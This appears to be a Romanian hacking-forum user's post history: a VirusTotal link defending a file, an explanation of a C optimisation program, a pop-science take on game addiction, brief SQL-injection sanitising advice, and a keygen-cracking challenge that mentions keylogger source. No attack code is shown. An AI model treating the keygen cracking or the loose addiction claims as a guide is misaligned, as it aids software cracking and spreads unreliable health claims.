https://www.virustotal.com/file/6b05603f498a8769b0b0f73b027b3996776a8acef5eb2d17430327b40fdf413b/analysis/1326663009/ Nu a pus omul niciun virus acolo, nu stiu ce balaur de avg ai tu. Sau avg-ul tau e defapt virus si uraste fisierele curate-1 points
-
nu stiu ce face programu asta dar: - tu zici ca la final trebuie sa afiseze "Best solution". In cod se vede ca afiseaza asta dar la finalul functiei void recuit(long n, type_matrice & a, type_matrice & b, type_vecteur & meilleure_sol, long & meilleur_cout, long nb_iterations) , nu la finalul programului. Iar in functia main se apeleaza "recuit" de mai multe ori : main() {lire(n, a, ; cout << "nr iterations, nr resolutions : \n"; cin >> nb_iterations >> nb_res; for (no_res = 1; no_res <= nb_res; no_res = no_res + 1) {tire_solution_aleatoire(n, p); recuit(n,a,b,p,Cout2, nb_iterations); }; system("pause"); } Daca tu introduci 6 si 10 atunci recuit se apeleaza de 10 ori si va afisa de 10 ori "Best solution". Nu trebuie sa sti prea mult C ca sa vezi macar asta. Ia-o usor si vezi ce ai tu nevoie. Sunt putine linii de cod.-1 points
-
-1 points
-
In general jocuri, in special MMO-urile sunt nimic altceva decat un "Skinner Box",aici cateva detalii. In principal asta e de fapt dependenta de calculator. Dependenta de a) jocuri, alte servicii pe care le poate oferii calculatorul - in general retelele de socializare. Dupa cum am explicat mai sus. Dependenta apare atunci cand in timpul utilizarii zilnice a calculatorului au loc actiuni care produc eliberare de endorfina, si nu dopamina cum am spus mai sus. Aia e cu totul altceva(am incurcat hormonii )-1 points
-
baga asta prin include la toate paginile tale https://rstcenter.com/forum/46445-post-sanitize.rst#post309514 Edit : daca vrei si sqli baga si un mysql_real_escape_string , mai pune si un trim sa dispara taburile-1 points
-
Gaseste algoritmul pentru urmatorul keygen. EDITED( link updated )Download Hint: 1) Pozitia in sir "conteaza". Astept rezolvari Solvers: 1)alkimistu 2)SilviuSDS Aici aveti codul sursa pentru "keylogger-ul" cu "virusi"-1 points